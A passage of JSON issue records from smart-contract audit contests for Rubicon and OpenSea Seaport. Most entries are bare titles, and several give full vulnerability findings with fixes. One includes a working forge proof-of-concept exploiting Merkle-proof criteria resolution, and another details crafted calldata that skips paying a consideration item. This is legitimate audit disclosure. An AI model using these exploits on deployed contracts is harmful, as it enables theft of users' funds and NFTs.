properly"}, {"title": "Strategist can transfer user funds to themselves", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Strategist can transfer user funds to themselves"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Centralized risks allows rogue pool behavior in BathToken.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Centralized risks allows rogue pool behavior in BathToken."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Wrong DOMAIN_SEPARATOR", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/rubiconPools/BathToken.sol#L199-L210 # Vulnerability details ## Impact The `DOMAIN_SEPARATOR` is wrong calculated. ## Proof of Concept In the `initialize` method of the `BathToken` contract, the `name` of the contract is used to calculate the `DOMAIN_SEPARATOR`, however said name is set later, so it will use an incorrect `name`, making it impossible to calculate the `DOMAIN_SEPARATOR` correctly. ```javascript DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\" ), keccak256(bytes(name)), keccak256(bytes(\"1\")), chainId, address(this) ) ); name = string(abi.encodePacked(_symbol, (\" v1\"))); ``` Affected source code: - [BathToken.sol#L199-L210](https://github.com/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/rubiconPools/BathToken.sol#L199-L210) ## Recommended Mitigation Steps - Set the `name` before use it. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "BathPair initialization can be front run by malicious actor", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "BathPair initialization can be front run by malicious actor"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "No cap on fees can result in a DOS in BathToken.withdraw()", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "No cap on fees can result in a DOS in BathToken.withdraw()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "RubiconRouter: Offers created through offerForETH cannot be cancelled", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/18", "labels": ["bug", "3 (High Risk)"], "target": "2022-05-rubicon-findings", "body": "RubiconRouter: Offers created through offerForETH cannot be cancelled"}, {"title": "RubiconRouter: Offers created through offerWithETH() can be cancelled by anyone", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/17", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L383-L409 # Vulnerability details ## Impact When a user creates an offer through the offerWithETH function of the RubiconRouter contract, the offer function of the RubiconMarket contract is called, and the RubiconRouter contract address is set to offer.owner in the offer function. This means that anyone can call the cancelForETH function of the RubiconRouter contract to cancel the offer and get the ether. ## Proof of Concept https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L383-L409 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L440-L452 ## Tools Used None ## Recommended Mitigation Steps Set the owner of offer_id to msg.sender in offerWithETH function and check it in cancelForETH function "}, {"title": "RubiconRouter: Excess ether did not return to the user", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/15", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L325-L339 # Vulnerability details ## Impact In swapWithETH/buyAllAmountWithETH/offerWithETH/depositWithETH functions of the RubiconRouter contract, when msg.value > max_fill_withFee/pay_amt/amount/amtWithFee, the excess ether will not be returned to the user. ## Proof of Concept https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L325-L339 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L383-L393 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L455-L462 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L494-L507 ## Tools Used None ## Recommended Mitigation Steps Return excess ether to msg.sender, or require msg.value == max_fill_withFee/pay_amt/amount/amtWithFee "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "setBathHouseAdmin() could accidentally set address(0) as the new admin.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "setBathHouseAdmin() could accidentally set address(0) as the new admin."}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/215", "labels": [], "target": "2022-05-opensea-seaport-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/192", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Merkle Tree criteria can be resolved by wrong tokenIDs", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-opensea-seaport-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/CriteriaResolution.sol#L157 # Vulnerability details ## Impact The protocol allows specifying several tokenIds to accept for a single offer. A merkle tree is created out of these tokenIds and the root is stored as the `identifierOrCriteria` for the item. The fulfiller then submits the actual tokenId and a proof that this tokenId is part of the merkle tree. There are no real verifications on the merkle proof that the supplied tokenId is indeed **a leaf of the merkle tree**. It's possible to submit an intermediate hash of the merkle tree as the tokenId and trade this NFT instead of one of the requested ones. This leads to losses for the offerer as they receive a tokenId that they did not specify in the criteria. Usually, this criteria functionality is used to specify tokenIds with certain traits that are highly valuable. The offerer receives a low-value token that does not have these traits. #### Example Alice wants to buy either NFT with tokenId 1 or tokenId 2. She creates a merkle tree of it and the root is `hash(1||2) = 0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0`. She creates an offer for this criteria. An attacker can now acquire the NFT with tokenId `0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0` (or, generally, any other intermediate hash value) and fulfill the trade. > One might argue that this attack is not feasible because the provided hash is random and tokenIds are generally a counter. However, this is not required in the standard. > > \"While some ERC-721 smart contracts may find it convenient to start with ID 0 and simply increment by one for each new NFT, callers SHALL NOT assume that ID numbers have any specific pattern to them, and MUST treat the ID as a 'black box'.\" [EIP721](https://eips.ethereum.org/EIPS/eip-721) > > Neither do the standard OpenZeppelin/Solmate implementations use a counter. They only provide internal `_mint(address to, uint256 id)` functions that allow specifying an arbitrary `id`. NFT contracts could let the user choose the token ID to mint, especially contracts that do not have any linked off-chain metadata like Uniswap LP positions. > Therefore, ERC721-compliant token contracts are vulnerable to this attack. #### POC Here's a `forge` test ([gist](https://gist.github.com/MrToph/ccf5ec112b481e70dbf275aa0a3a02d6)) that shows the issue for the situation mentioned in _Example_. ```solidity contract BugMerkleTree is BaseOrderTest { struct Context { ConsiderationInterface consideration; bytes32 tokenCriteria; uint256 paymentAmount; address zone; bytes32 zoneHash; uint256 salt; } function hashHashes(bytes32 hash1, bytes32 hash2) internal returns (bytes32) { // see MerkleProof.verify bytes memory encoding; if (hash1 <= hash2) { encoding = abi.encodePacked(hash1, hash2); } else { encoding = abi.encodePacked(hash2, hash1); } return keccak256(encoding); } function testMerkleTreeBug() public resetTokenBalancesBetweenRuns { // Alice wants to buy NFT ID 1 or 2 for token1. compute merkle tree bytes32 leafLeft = bytes32(uint256(1)); bytes32 leafRight = bytes32(uint256(2)); bytes32 merkleRoot = hashHashes(leafLeft, leafRight); console.logBytes32(merkleRoot); Context memory context = Context( consideration, merkleRoot, /* tokenCriteria */ 1e18, /* paymentAmount */ address(0), /* zone */ bytes32(0), /* zoneHash */ uint256(0) /* salt */ ); bytes32 conduitKey = bytes32(0); token1.mint(address(alice), context.paymentAmount); // @audit assume there's a token where anyone can acquire IDs. smaller IDs are more valuable // we acquire the merkle root ID test721_1.mint(address(this), uint256(merkleRoot)); _configureERC20OfferItem( // start, end context.paymentAmount, context.paymentAmount ); _configureConsiderationItem( ItemType.ERC721_WITH_CRITERIA, address(test721_1), // @audit set merkle root for NFTs we want to accept uint256(context.tokenCriteria), /* identifierOrCriteria */ 1, 1, alice ); OrderParameters memory orderParameters = OrderParameters( address(alice), context.zone, offerItems, considerationItems, OrderType.FULL_OPEN, block.timestamp, block.timestamp + 1000, context.zoneHash, context.salt, conduitKey, considerationItems.length ); OrderComponents memory orderComponents = getOrderComponents( orderParameters, context.consideration.getNonce(alice) ); bytes32 orderHash = context.consideration.getOrderHash(orderComponents); bytes memory signature = signOrder( context.consideration, alicePk, orderHash ); delete offerItems; delete considerationItems; /*************** ATTACK STARTS HERE ***************/ AdvancedOrder memory advancedOrder = AdvancedOrder( orderParameters, 1, /* numerator */ 1, /* denominator */ signature, \"\" ); // resolve the merkle root token ID itself CriteriaResolver[] memory cr = new CriteriaResolver[](1); bytes32[] memory proof = new bytes32[](0); cr[0] = CriteriaResolver( 0, // uint256 orderIndex; Side.CONSIDERATION, // Side side; 0, // uint256 index; (item) uint256(merkleRoot), // uint256 identifier; proof // bytes32[] criteriaProof; ); uint256 profit = token1.balanceOf(address(this)); context.consideration.fulfillAdvancedOrder{ value: context.paymentAmount }(advancedOrder, cr, bytes32(0)); profit = token1.balanceOf(address(this)) - profit; // @audit could fulfill order without owning NFT 1 or 2 assertEq(profit, context.paymentAmount); } } ``` ## Recommended Mitigation Steps Usually, this is fixed by using a type-byte that indicates if one is computing the hash for a _leaf_ or not. An elegant fix here is to simply [use hashes of the tokenIds](https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/CriteriaResolution.sol#L250) as the leaves - instead of the tokenIds themselves. (Note that this is the natural way to compute merkle trees if the data size is not already the hash size.) Then compute the leaf hash in the contract from the provided tokenId: ```diff function _verifyProof( uint256 leaf, uint256 root, bytes32[] memory proof ) internal pure { bool isValid; - assembly { - let computedHash := leaf + bytes32 computedHash = keccak256(abi.encodePacked(leaf)) ... ``` There can't be a collision between a leaf hash and an intermediate hash anymore as the former is the result of hashing 32 bytes, while the latter are the results of hashing 64 bytes. Note that this requires off-chain changes to how the merkle tree is generated. (Leaves must be hashed first.) "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "ERC721 Transfers aren't \"safe\"", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-opensea-seaport-findings", "body": "ERC721 Transfers aren't \"safe\""}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Wrong items length assertion in basic order", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-opensea-seaport-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/BasicOrderFulfiller.sol#L346-L349 # Vulnerability details When fulfilling a basic order we need to assert that the parameter `totalOriginalAdditionalRecipients` is less or equal than the length of `additionalRecipients` written in calldata. However in `_prepareBasicFulfillmentFromCalldata` this assertion is incorrect [(L346)](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/BasicOrderFulfiller.sol#L346-L349): ```js // Ensure supplied consideration array length is not less than original. _assertConsiderationLengthIsNotLessThanOriginalConsiderationLength( parameters.additionalRecipients.length + 1, parameters.totalOriginalAdditionalRecipients ); ``` The way the function it's written ([L75](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/Assertions.sol#L75-L83)), it accepts also a length smaller than the original by 1 (basically there shouldn't be a `+ 1` in the first argument). Interestingly enough, in the case `additionalRecipients.length < totalOriginalAdditionalRecipients`, the inline-assembly for-loop at [(L506)](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/BasicOrderFulfiller.sol#L506) will read consideration items out-of-bounds. This can be a vector of exploits, as illustrated below. ## Proof of Concept Alice makes the following offer: a basic order, with two `considerationItem`s. The second item has the following data: ```js consideration[1] = { itemType: ..., token: ..., identifierOrCriteria: ..., startAmount: X, endAmount: X, recipient: Y, } ``` The only quantities we need to track are the amounts `X` and recipient `Y`. When fulfilling the order normally, the fulfiller will spend `X` tokens sending them to `Y`. It's possible however to exploit the previous bug in a way that the fulfiller won't need to make this transfer. To do this, the fulfiller needs to craft the following calldata: | calldata pointer | correct calldata | exploit calldata | |-----------------:|:--------------------:|:-------------------:| | ... | ... | ... | | 0x204 | 1 (tot original) | 1 (tot original) | | 0x224 | 0x240 (head addRec) | 0x240 (head addRec) | | 0x244 | 0x2a0 (head sign) | 0x260 (head sign) | | 0x264 | 1 (length addRec) | 0 (length addRec) | | 0x284 | X (amount) | X (length sign) | | 0x2a4 | Y (recipient) | Y (sign body) | | 0x2c4 | 0x40 (length sign) | 0x00 (sign body) | | 0x2e4 | [correct Alice sign] | ... | | 0x304 | [correct Alice sign] | ... | | | | | Basically writing `additionalRecipients = []` and making the signature length = `X`, with `Y` being the first 32 bytes. Of course this signature will be invalid; however it doesn't matter since the exploiter can call `validate` with the correct signature beforehand. The transaction trace will look like this: - the assertion `_assertConsiderationLengthIsNotLessThanOriginalConsiderationLength` passes; - the `orderHash` calculated is the correct one, since the for-loop over original consideration items picks up calldata at pointers {0x284, 0x2a4} [(L513)](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/BasicOrderFulfiller.sol#L513-L550); - the order was already validated beforehand, so the signature isn't read; - at the end, during the tokens transfers, only `offer` and `consideration[0]` are transferred, since the code looks at `additionalRecipients` which is empty. Conclusion: Every Order that is \"basic\" and has two or more consideration items can be fulfilled in a way to not trade the _last_ consideration item in the list. The fulfiller spends less then normally, and a recipient doesn't get his due. There's also an extra requirement which is stricter: this last item's `startAmount` (= endAmount) needs to be smallish (< 1e6). This is because this number becomes the signature bytes length, and we need to fill the calldata with extra zeroes to complete it. Realistically then the exploit will work only if the item is a ERC20 will low decimals. I've made a hardhat test that exemplifies the exploit. [(Link to gist)](https://gist.github.com/0xsanson/e87e5fe26665c6cecaef2d9c4b0d53f4). ## Recommended Mitigation Steps Remove the `+1` at L347. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/112", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Truncation in `OrderValidator` can lead to resetting the fill and selling more tokens", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/77", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-opensea-seaport-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L228 https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L231 https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L237 